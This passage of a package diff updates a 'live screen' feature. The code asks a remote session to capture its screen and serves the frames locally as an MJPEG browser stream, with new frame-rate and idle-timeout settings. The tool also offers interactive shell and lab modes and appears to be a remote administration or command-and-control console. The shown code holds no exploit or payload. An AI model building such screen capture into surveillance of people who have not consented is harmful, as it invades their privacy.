+
clearIdleTimer();
|
|
158
|
+
for (const client of streamClients) {
|
|
159
|
+
try {
|
|
160
|
+
client.end();
|
|
161
|
+
} catch {
|
|
162
|
+
// ignore
|
|
163
|
+
}
|
|
164
|
+
}
|
|
165
|
+
streamClients.clear();
|
|
84
166
|
return new Promise((resolve) => {
|
|
85
167
|
server.close(() => resolve());
|
|
86
168
|
});
|
|
@@ -92,12 +174,15 @@ function createScreenViewer(port = 5555) {
|
|
|
92
174
|
}
|
|
93
175
|
if (base64) {
|
|
94
176
|
latestFrame = base64;
|
|
177
|
+
latestFrameBinary = Buffer.from(base64, 'base64');
|
|
95
178
|
frameCount += 1;
|
|
96
179
|
lastError = null;
|
|
180
|
+
pushFrameToClients(latestFrameBinary);
|
|
97
181
|
}
|
|
98
182
|
},
|
|
99
|
-
url: `http://127.0.0.1:${port}/`,
|
|
100
183
|
};
|
|
184
|
+
|
|
185
|
+
return viewer;
|
|
101
186
|
}
|
|
102
187
|
|
|
103
188
|
module.exports = { createScreenViewer };
|
package/src/server/session.js
CHANGED
|
@@ -67,30 +67,62 @@ async function runInteractiveShell(session, cli) {
|
|
|
67
67
|
async function runLiveScreen(session, inp) {
|
|
68
68
|
const parts = inp.trim().split(/\s+/);
|
|
69
69
|
const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
|
|
70
|
-
const
|
|
71
|
-
const
|
|
70
|
+
const screenConf = (session.config && session.config.screen) || {};
|
|
71
|
+
const port = portArg || screenConf.viewerPort || 5555;
|
|
72
|
+
const fps = screenConf.fps || 8;
|
|
73
|
+
const idleStopSec = screenConf.idleStopSec || 45;
|
|
72
74
|
|
|
73
|
-
const viewer = createScreenViewer(port);
|
|
75
|
+
const viewer = createScreenViewer(port, { idleStopSec });
|
|
76
|
+
|
|
77
|
+
let lastErrorAt = 0;
|
|
78
|
+
let stopRequested = false;
|
|
74
79
|
|
|
75
80
|
session.setScreenFrameHandler((msg) => {
|
|
76
81
|
viewer.updateFrame(msg.body, msg.meta || {});
|
|
77
82
|
if (msg.meta && msg.meta.error) {
|
|
78
|
-
|
|
83
|
+
const now = Date.now();
|
|
84
|
+
if (now - lastErrorAt >= 5000) {
|
|
85
|
+
lastErrorAt = now;
|
|
86
|
+
process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
|
|
87
|
+
}
|
|
79
88
|
}
|
|
80
89
|
});
|
|
81
90
|
|
|
82
91
|
try {
|
|
83
92
|
await viewer.start();
|
|
84
|
-
|
|
93
|
+
|
|
94
|
+
let idleResolve = null;
|
|
95
|
+
const idlePromise = new Promise((resolve) => {
|
|
96
|
+
idleResolve = resolve;
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
viewer.on('idle', () => {
|
|
100
|
+
if (!stopRequested) {
|
|
101
|
+
console.log(`\n[*] No viewer connected for ${idleStopSec}s — stopping live screen.`);
|
|
102
|
+
stopRequested = true;
|
|
103
|
+
if (idleResolve) idleResolve();
|
|
104
|
+
}
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
const startResp = await session.sendCommand('screen_start', '', {
|
|
108
|
+
fps,
|
|
109
|
+
maxWidth: screenConf.maxWidth,
|
|
110
|
+
maxHeight: screenConf.maxHeight,
|
|
111
|
+
jpegQuality: screenConf.jpegQuality,
|
|
112
|
+
minFps: screenConf.minFps,
|
|
113
|
+
dropFrames: screenConf.dropFrames,
|
|
114
|
+
display: screenConf.display,
|
|
115
|
+
}, { timeoutMs: 30000 });
|
|
116
|
+
|
|
85
117
|
if (startResp.status === 'error') {
|
|
86
118
|
console.log(startResp.body);
|
|
87
119
|
return 'continue';
|
|
88
120
|
}
|
|
89
121
|
|
|
90
122
|
console.log(`\n[*] Live screen: ${viewer.url}`);
|
|
91
|
-
console.log('[*]
|
|
123
|
+
console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
|
|
92
124
|
|
|
93
|
-
|
|
125
|
+
const enterPromise = new Promise((resolve) => {
|
|
94
126
|
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
|
|
95
127
|
rl.once('line', () => {
|
|
96
128
|
rl.close();
|
|
@@ -98,6 +130,9 @@ async function runLiveScreen(session, inp) {
|
|
|
98
130
|
});
|
|
99
131
|
});
|
|
100
132
|
|
|
133
|
+
await Promise.race([enterPromise, idlePromise]);
|
|
134
|
+
|
|
135
|
+
stopRequested = true;
|
|
101
136
|
try {
|
|
102
137
|
await session.sendCommand('screen_stop');
|
|
103
138
|
} catch {
|
package/src/shared/config.js
CHANGED
|
@@ -43,10 +43,15 @@ const DEFAULTS = {
|
|
|
43
43
|
screenLive: true,
|
|
44
44
|
},
|
|
45
45
|
screen: {
|
|
46
|
-
fps:
|
|
46
|
+
fps: 8,
|
|
47
|
+
maxWidth: 1920,
|
|
48
|
+
maxHeight: 1080,
|
|
49
|
+
jpegQuality: 4,
|
|
47
50
|
viewerPort: 5555,
|
|
48
51
|
display: ':0',
|
|
49
|
-
|
|
52
|
+
dropFrames: true,
|
|
53
|
+
minFps: 4,
|
|
54
|
+
idleStopSec: 45,
|
|
50
55
|
},
|
|
51
56
|
lab: {
|
|
52
57
|
mode: false,
|